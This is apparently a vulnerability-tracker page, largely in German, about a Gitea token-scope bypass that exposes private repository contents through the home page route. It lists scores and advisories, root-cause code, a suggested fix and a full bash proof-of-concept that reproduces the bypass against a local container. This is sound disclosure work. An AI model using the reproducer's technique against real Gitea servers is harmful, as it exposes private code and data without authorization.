CVE-2026-58444

mediumPriorität · verfolgen · 0OT-Risiko · erhöhtEPSS 0.004 · 29. PerzentilDEEURUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.36% (29th) EPSS
CVSS 4.3 · medium
Is it mine?
9 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
enisa_euvd · fstec_bdu · osv · cert_bund

EPSS · bewertet 2026-10-26

Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

4.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.14.3mediumAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nsecondary · FSTEC (BDU) RU
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nsecondary · ENISA EU
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NsecondaryAusnutzbarkeit 2.8 · Auswirkung 1.4
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nsecondary · OSV
v3.14mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

03

betroffene Produkte (9)

Betroffene Produkte und Versionsbereiche.

04

Advisories (3)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-2304Gitea: Mehrere SchwachstellenDeutsch2026-07-13csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.

  • GHSA-cp3q-vrj2-ghhhGitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents2026-07-21ghsa · osvUS

    ### Summary A personal access token (PAT) or OAuth2 token that does **not** carry the `repository` scope or that is **public-only** is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route `GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token. This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in: - **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download - **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds `repo.Home` is the remaining token-auth-enabled content route that was not given the guard. ### Details / Root cause Web routes accept token authentication only when explicitly opted in with `webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries `AllowBasic` (added so that `go get` can resolve private modules): ```go // routers/web/web.go:1256 m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic, context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch), repo.SetEditorconfigIfExists, repo.Home) ``` When a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go` sets `IsApiToken = true` and records `ApiTokenScope`: ```go // services/auth/basic.go store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = token.Scope ``` The patched sibling handlers all call the web-side scope guard `context.CheckRepoScopedToken(...)`, which enforces both the public-only restriction and the `repository` scope: ``` routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww routers/web/repo/attachment.go:190 (attachments / release assets, centralized) routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w ``` `repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its only gate is `checkHomeCodeViewable`, which verifies the **user's** permission and that the code unit is enabled neither of which constrains the **token's** scope. The README, file listing, and sidebar are then rendered. (The `handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo view is not.) ### Proof of Concept Reproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to the source commit above). A private repository `admin/secretrepo` is created, and a token is minted with **only** the `read:user` scope (no `repository` scope). ``` === anonymous baseline (repository is private) === anon GET /admin/secretrepo HTTP=404 === same no-repo-scope token across routes === API repo get (proves token lacks repo scope) HTTP=403 canary=0 /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0 /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0 /admin/secretrepo.rss (control) HTTP=403 canary=0 /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1 ``` A second token with scope `public-only,read:repository` behaves identically: `/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content. `canary=1` means the private README marker was returned in the HTML response; the private file name `SECRET.md` is also disclosed in the rendered file tree. Full self-contained reproducer (Docker, prints a PASS/FAIL verdict): ```bash #!/usr/bin/env bash set -euo pipefail N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2' docker rm -f $N >/dev/null 2>&1 || true docker run -d --name $N \ -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \ -e GITEA__server__ROOT_URL=http://localhost:3000/ \ -e GITEA__service__DISABLE_REGISTRATION=true \ -p 3000:3000 gitea/gitea:main-nightly >/dev/null for i in $(seq 1 40); do [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done docker exec -u git $N gitea admin user create --admin --username admin \ --password "$PW" --email admin@example.com --must-change-password=false >/dev/null curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \ -H 'Content-Type: application/json' \ -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])") curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ -H 'Content-Type: application/json' \ -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \ --scopes read:user --token-name norepo --raw | tail -1) echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)" for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p") echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)" done echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1" docker rm -f $N >/dev/null ``` ### Impact Any holder of a non-`repository`-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only `read:issue`, or a `public-only` token issued to a third-party integration). The disclosure is bounded to the repository root view because the deeper `/{owner}/{repo}/src/*` routes do not enable `AllowBasic`. ### Suggested remediation Mirror the sibling handlers: at the start of `repo.Home` (`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`, add: ```go context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read) if ctx.Written() { return } ``` It is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that render repository data for the same omission notably `actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a private repository's workflow build status (pass/fail) to a token without the `repository` scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).

  • GO-2026-6050Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents in gitea.dev2026-07-22vendor · osvUS

    Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents in gitea.dev

05

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

06

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-08-13geändert 2026-10-02
07

Referenzen (6)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan